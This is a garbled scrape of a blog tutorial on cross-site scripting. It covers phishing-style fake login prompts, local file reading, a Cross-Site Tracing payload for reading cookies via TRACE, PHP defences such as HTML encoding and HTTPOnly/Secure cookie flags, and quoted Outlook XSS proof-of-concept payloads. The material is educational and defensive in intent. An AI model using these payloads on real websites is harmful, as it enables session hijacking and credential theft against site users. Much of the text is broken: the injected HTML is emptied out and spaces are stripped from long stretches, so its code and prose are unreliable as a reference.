Cross-site scripting (XSS) vulnerabilities happen when an application integrates external data into a new webpage without proper security checks or encoding. They can also occur when an existing webpage is modified with user-provided data using browser functions meant for creating HTML or JavaScript content. XSS enables attackers to run malicious scripts within a victim’s browser. These scripts can then hijack active user sessions, vandalize websites, or even redirect the user to harmful websites.
document.write(’Session timeout. Please login again. ’);
document.write(’ ’);
document.write(’’);
var string = “Password submitted to hacker website. ;)”;
document.write(’’);
1
**Accessing Local File Content**
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open(“GET”, file, false);
rawFile.onreadystatechange = function (){
alert(rawFile.responseText);
}
rawFile.send(null);
}
document.write('');document.write('');```[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsIEPqsW3sTizEyKngaDiVQRD_qE-GngQPTYWRDxBIYINMxqSEomQsJnGbY4kAuxGYvXirp3ODUYELzK4FjhXsAq4MK_mz_jWf3cp2qCLKTpdV59Rfe09adeVj1v2ep1LBhzCt_qDnvnEN/s1600/nc_xss.PNG)GatheringInformationwithJavaScript--------------------------------------[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVrHxiwknqBx6loQmCzjj8-yLBUn1Q1karTcmIheZME8SEq2tlA46oqk-kq53VJiYdQVDawh3Q8l_ajIqG12KiorTiUQfJY7kvvvl6Yd0qQ3Uu89F2aXPfj9394dPivH24Vlneri_3rc0/s1600/Screen+Shot+2018-02-16+at+5.40.35+PM.png)[JSRecon](https://github.com/g4xyk00/JSrecon)by_g4xyk00_SelfXSS--------[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtTbOUComBM7ca2WZDS6QzKZbvNJPOxc-Htkl4FpVxiEy5KH9d4XnZaWXOMWF0_2lXIRJyw26NWIgPajHJ8e73JvyOoKyplJ2lvfAL1pxcVcVYFsp0krBiLFkTyUjzqfCzyKZCu8DuLjub/s1600/selfxss.PNG)**Reference:**[https://www.facebook.com/help/246962205475854](https://www.facebook.com/help/246962205475854)XSSDefenseStrategies------------### Defense 1: Encoding HTML```$name=$_GET['name'];$name=htmlspecialchars($name,ENT_QUOTES,'UTF-8');//HTMLEncodingecho"Hi, ".$name;}?>```**WithoutHTMLEncoding:**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69mySmYRIgOl_q3GMLiJ01TyXw9flCf2t6E-oJe8zP29Ki955kL5kHFYzJPYB3c8Yt4reyiUq-7Loi5I1sgFCEWCZIyhDWnq0edyPdS-WfFxZjGwdLkq03E50wkwumGMtrBDnJAsoN4HK/s1600/encode_without.PNG)[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU4OZqPjCWBBGekL9BEQmQASf_Q14i-t2ZGCEUK5fJMkqPiBDcBnYPfpsCNVmv0oc7xSGTWLvDoDQHRNpXxpkCs3-uIZlmbnQM0arleAqzQBKPQOSryMmBERl85U5qEmaW7kFmGmQ5sPj8/s1600/encode_without_code.PNG)**WithHTMLEncoding:**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcmJa-QbneC47IqTcNo8DbTE4SXtwf80ZqUJfeD4-9HjtG0RSdcRl_PIPgp6VxAtdNb776J3cgYWNv5Iv_1UCLOD8C3_xe2ZHjBDtHeKH3Ode1P_u7SUp0DSRtr0gy5-6WAJy6eCcfUK7u/s1600/encode.PNG)[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihtXlaHQypw9qVgxetndPqAggRFyL6_NV9sYcnUa1sZg-Zd0xx5ngprC5LJs78oyDMvbze3hDgOK8woEteTKMDIeYilNevwLecxk0EtpvcCpoVjPzRfL35WKIzLf5LSRKBWYsDJyALH-vs/s1600/encode_code.PNG)### Defense 2: Implementing HTTPOnly and Secure Flags**HTTPOnlyFlag:**Thispreventsclient-sidescriptsfromaccessingcookiedata.**SecureFlag:**Thisensuresthatcookiesareonlytransmittedoversecure(HTTPS)connections.```$name=$_GET['name'];echo"Hi, ".$name;}?>```**WithoutHTTPOnlyandSecureFlags**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzT-9hgSNgNmzsUIFLH1m_Y5KKWMdzy4Sdtq4hsFA2fHj4SJIs-V2wkbl89bdefACxE87lhY8aBVeWeU2z_azRtVdI1qkZeQ2AOtLODEoHCdvbtTeHVaCKJoYcB-KzN3wFRr0uWnvakpg/s1600/secure+and+httponly+not+set.PNG)**WithHTTPOnlyFlagEnabled**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDtkPHHAFvw9gzLVEGm6dS_tf8_NklB6ezsZDNazqoEorCgZc4KsqcVUmZtej1erz-4Z282PLaiVOCzQXtEuMU44BxQq85l36JLOKR3TtT5hjymphP5DqNz3yGkwNSeJ96GWtEvdkA3Gcp/s1600/httponly.PNG)#### **Cross-Site Tracing (XST)**BecausetheHTTPOnlyflagisset,wecannotuseJavascripttodirectlyretrievecookiedata.However,wemighttryleveragingtheTRACE/TRACKmethodstopotentiallyreadcookieinformationfromHTTPheaders.It's worth noting that many modern browsers will flag such an attempt as potentially "insecure," as shown in the screenshot.**Payload**```varreq=newXMLHttpRequest();req.open("TRACE","http://localhost/vulnerable/xss/xss_flagset.php",false);req.send();result=req.responseText;alert(result);```[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL-WyDqd0Ch82RDAAa9BAqt0DVNwaURyGK7e9EvOZzcHGLXri6o3KrlW4K2EsJbRFTivO50g-BlWQpf7_XEmokakWWmRPfsAYwjVNxqySeRvW3isQ1EEx8Phxekb_8CiL5esdvLiwqfUMp/s1600/xst+browser.PNG)Firefox:Theoperationisinsecure.**OriginalRequest**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfHKoaKktOILuTqyRok-s9ZKbbgo3T2iPNoIdqbOX3JbwLNZB3CvB9guWuWho69hKe0wrbtwgl30E1Ygt-v_XHWclzRJ-IxzbERjUPUtLqPuBUgXlHKfSt5gDFOKznl9GkPfDsXNIX7nJd/s1600/trace_get.PNG)**ModifiedRequest**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzp5YiK8KhxzV9PZyWnJaGSliejWDke34OgECuiEyCp3N6UYBLJcNjLcU9fujYUfxL9W1N9qY6mFCP05eIXNz2vxZ29KGkLSCGKOtabqXT3NDwEoiJzXqlRAhiF0NpQrWdM5uG6Bqb-stT/s1600/trace_trace.PNG)**Response**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5kgKQ5ScaedOREcYXBNuuvuO57hQoDdnay30AVByIkTEROqPv_Uya1QeoBsrY7vEuQmUdwmuuoIlZzqnKefWw2Nrn2sQONcr0JBAV2FoDJNEit1p452uQ85PPuqbk2tpPDJOifDbrxRgH/s1600/trace_response.PNG)[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1c7WuUdhjHDmoyMutdvjDM5KJESM_8jsidd0fRPRqTsfunIAvijbeb2VwGyPAJHGocPhghQpnsTGVDxog0dnV6CcsGEKdeDoq7dGeuvvh6bQ470WaLj-rhNcTC4oKayYnRVHGM6sxm9sR/s1600/trace_output.PNG)ThisdemonstrateshowtopotentiallygetcookieinformationthroughXSScombinedwiththeTRACEmethod.**WithSecureFlagEnabled(HTTP)**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT201cpMUt5KXxmRn4oBueJdR3fT7xmLsZWYG5qI81OXjDc46v0eJW7VK7Ln1WXaXWtHYRqcvsv7u9Vbo81DpJwEsUnuz7ytbL2phYCoxj1n3du1QVC-E-tNiC2YPP9MnA2qTGe0ofb0We/s1600/secure_http.PNG)**WithSecureFlagEnabled(HTTPS)**[](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikOGO6xE8RB5_ISHQv26PITGjjgRzhgEGAaCCSpxYYiHgJ1eZgMW7q63z4ss08M5uduGGa5aNMKwFJX7Kil03jCTAIek_DeSQ3CPcXYSZm5Qni69PkKik6zy9rwv1_sevP_21-3WZqqlH9/s1600/secure_https.PNG)XSSCaseStudies--------------**January16,2019-CompromisingFortniteAccounts**Reference:[https://research.checkpoint.com/hacking-fortnite/](https://research.checkpoint.com/hacking-fortnite/)**January14,2019-Report:FiveMajorWebHostingProvidersTested,AllEasilyBreached**Reference:[https://www.websiteplanet.com/blog/report-popular-hosting-hacked/](https://www.websiteplanet.com/blog/report-popular-hosting-hacked/)**July19,2019-OutlookXSSVulnerability**Reference:[https://leucosite.com/Microsoft-Office-365-Outlook-XSS/?q0&fbclid=IwAR0fjR4yHykQ5rtlv6ovtXqMg14M0AWW1TQF6nkp47bS0xjdql8t4QxvLUE](https://leucosite.com/Microsoft-Office-365-Outlook-XSS/?q0&fbclid=IwAR0fjR4yHykQ5rtlv6ovtXqMg14M0AWW1TQF6nkp47bS0xjdql8t4QxvLUE)**OutlookXSSviaSVGEmoji**```//if(location.hostname=="attachment.outlook.office.net"){varqsplit=location.search.split("&");location='https://outlook.office.com/owa/service.svc/s/GetFileAttachment'+qsplit[0]+'&'+qsplit[1];}else{alert('XSS by @qab, location.hostname='+location.hostname);}//```**OutlookXSSusingvCalendar**```X-MICROSOFT-ONLINEMEETINGEXTERNALLINK:javascript:alert(document.domain);`@qab````